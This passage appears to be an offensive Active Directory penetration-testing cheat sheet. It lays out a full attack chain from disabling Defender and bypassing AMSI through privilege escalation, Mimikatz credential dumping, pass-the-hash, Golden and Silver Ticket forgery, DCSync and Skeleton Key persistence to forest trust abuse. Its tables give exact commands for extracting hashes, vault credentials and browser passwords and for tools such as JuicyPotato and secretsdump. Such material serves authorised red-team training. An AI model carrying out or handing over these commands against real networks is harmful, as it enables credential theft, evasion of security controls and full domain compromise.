Get-SQLQuery -Instance <instanceName> -Query "USE dbName;SELECT * FROM tableName"
QUICK REFERENCE — ATTACK CHAINING
7.1 — Complete Attack Chain (Standard Engagement)
Phase | Goal | Key Tools / Commands |
|---|---|---|
0 — Setup | Bypass AMSI, check language mode, disable Defender | AMSI bypass, Set-MpPreference |
1 — Enum | Map domain: users, groups, computers, trusts, ACLs, SPNs | PowerView, BloodHound, SharpHound |
2 — Local PrivEsc | Get local admin on foothold machine | PowerUp → Invoke-AllChecks → Invoke-ServiceAbuse |
3 — Hunt Admins | Find machines where DAs are logged in | Find-LocalAdminAccess, Invoke-UserHunter -CheckAccess |
4 — Credential Dump | Get NTLM hashes / AES keys from admin session | Invoke-Mimikatz -DumpCreds, sekurlsa::ekeys |
5 — Lateral Movement | Move to DA machine via Over-PtH or PSSession | sekurlsa::pth, Enter-PSSession, Invoke-Command |
6 — DA Access | Confirm Domain Admin access | Invoke-Command to DC, whoami, ls \\dc\C$ |
7 — Persistence | Golden Ticket, DCSync rights, Skeleton Key | kerberos::golden, lsadump::dcsync |
8 — DC Persistence | Dump all hashes, set ACLs, Security Descriptors | Invoke-Mimikatz, DSRM, AdminSDHolder |
9 — Forest Abuse | Move to parent/root forest if applicable | Trust key + kerberos::golden with /sids EA |
7.2 — Credential Material Reference
Hash / Key Type | How to Get It | Used For |
|---|---|---|
NTLM hash | Invoke-Mimikatz -DumpCreds | Pass-the-Hash, Over-Pass-the-Hash, forging tickets |
AES256 / AES128 key (ekeys) | Invoke-Mimikatz -Command '"sekurlsa::ekeys"' | Over-Pass-the-Hash (preferred — less detectable) |
krbtgt NTLM hash | lsadump::lsa /patch OR lsadump::dcsync /user:krbtgt | Golden Ticket forgery |
Machine account NTLM hash | lsadump::lsa /patch -Computername dcorp-dc | Silver Ticket forgery |
Trust key (inter-forest) | lsadump::trust /patch | Inter-forest ticket forgery |
Vault credentials | token::elevate vault::cred /patch | Credentials stored in Windows Credential Manager |
DSRM (local admin) hash | lsadump::lsa /patch (look for DSRM/local admin hash) | Offline DC local admin access |
7.3 — Tool Quick Reference
Tool | Purpose | Key Command(s) |
|---|---|---|
PowerView | AD enumeration via PowerShell | Get-NetUser, Get-NetComputer, Find-LocalAdminAccess, Invoke-UserHunter |
BloodHound / SharpHound | Visual AD attack path mapping | Invoke-BloodHound -CollectionMethod All,LoggedOn |
PowerUp | Local privilege escalation checks | Invoke-AllChecks, Invoke-ServiceAbuse |
Invoke-Mimikatz | Credential dumping + Kerberos ticket manipulation | DumpCreds, lsadump::lsa, kerberos::golden, sekurlsa::pth |
PowerUpSQL | SQL Server enumeration and exploitation | Get-SQLInstanceDomain, Get-SQLServerLinkCrawl |
kekeo | Kerberos ticket requesting (CD attacks) | tgt::ask, tgs::s4u |
SharpGPOAbuse | Abuse GPO write permissions | --AddComputerTask, --AddLocalAdmin |
Tater.ps1 | Hot Potato privilege escalation | Invoke-Tater -Trigger 1 -Command |
JuicyPotato | Token impersonation via SeImpersonatePrivilege | ./jp.exe -p shell.bat -l 7777 -t * |
Offline NTDS.dit hash extraction | secretsdump.py -ntds ntds.dit -system system.hive LOCAL | |
Decrypt Firefox saved passwords | python3 firepwd.py | |
windows-exploit-suggester | Kernel exploit identification | ./windows-exploit-suggester.py --database mssb.xlsx --systeminfo systeminfo.txt |